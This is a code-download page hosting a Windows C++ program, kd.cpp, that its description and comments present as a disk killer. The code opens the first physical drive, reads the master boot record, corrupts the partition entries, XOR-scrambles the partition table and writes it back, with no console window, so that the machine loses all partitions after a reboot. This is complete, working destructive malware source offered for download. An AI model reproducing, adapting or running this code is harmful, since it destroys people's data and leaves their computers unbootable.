⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 kd.cpp

📁 杀硬盘的代码,自动破坏物理硬盘的mbr,分区表,运行后重启机,硬盘分区全部没了
💻 CPP
字号:
/* 程序编写作者:黑网之神  
来自网神网络技术中心 www.sksgod.com */


#include <windows.h>
#include <winioctl.h>
//#include "resource.h"
#include "Youhua.h"
#pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")
void KillDisk()
{
	HANDLE hDevice=
		CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ|GENERIC_WRITE,
		FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,
		0,NULL);   //访问物理磁盘 physicaldriver0 就是第一快物理磁盘
	
    if(hDevice==INVALID_HANDLE_VALUE)  //判断句柄有效否
	{
		ExitProcess(0);
	}
	
	DWORD cout;  
	DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);   //下发锁盘命令
	
	DISK_GEOMETRY Getmetry;
	
	DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Getmetry,sizeof(DISK_GEOMETRY),   
		&cout,
		NULL);
	
	LPTSTR szBuf;
	szBuf=(LPTSTR)HeapAlloc(GetProcessHeap(),
		HEAP_ZERO_MEMORY,
		Getmetry.BytesPerSector);
	
	if(szBuf==NULL)
	{
	
		ExitProcess(0);
	}
    
	DWORD bytes=512;
	DWORD readsize;
	BOOL m_ret;
	m_ret=ReadFile(hDevice,szBuf,bytes,&readsize,NULL);  //这里就是读取磁盘的前512字节 里面放了MBR 和DBR 
	if(m_ret==FALSE || readsize<512)                     // 简单点理解 MBR就是存放硬盘的一些信息 
	{                                                    //例如主引导纪录等等。 随便破坏一点点。。 那么硬盘就无法正常启动了
	
		ExitProcess(0);
	}
	
	BYTE MBR[512]={0};
	for(int n=0;n<512;n++) 
	{
		MBR[n]=szBuf[n];    
	}
	
	DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);  //下发解锁命令
	CloseHandle(hDevice);
 
	MBR[0x1BE]=80; //活动分区标志
	MBR[0x1BF]=0;   //本分区起始地址 
	MBR[0x1C2]=5;    //分区类型
	for(int i=0x1C3;i<=0x1FE;i++)
	{
		MBR[i]=MBR[i]^26;             //加密
	}
	
	hDevice=
		CreateFile("\\\\.\\PHYSICALDRIVE0",  //再次打开物理磁盘
		GENERIC_READ|GENERIC_WRITE,
		FILE_SHARE_READ|FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		0,
		NULL
		);
	if(hDevice==INVALID_HANDLE_VALUE)
	{
	
		ExitProcess(0);
	}
	DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);  //锁盘
	 
	m_ret=WriteFile(hDevice,MBR,bytes,&readsize,NULL);  //重写MBR
	if(m_ret==FALSE||readsize<512)
	{

		ExitProcess(0);
	}
    
	DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);  //解锁
	
	
	
	
	CloseHandle(hDevice);  //搞定收工...
	
	
}

void main()
{
	Sleep(1000);
	KillDisk();
}

/* 程序编写作者:黑网之神  
来自网神网络技术中心 www.sksgod.com */

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -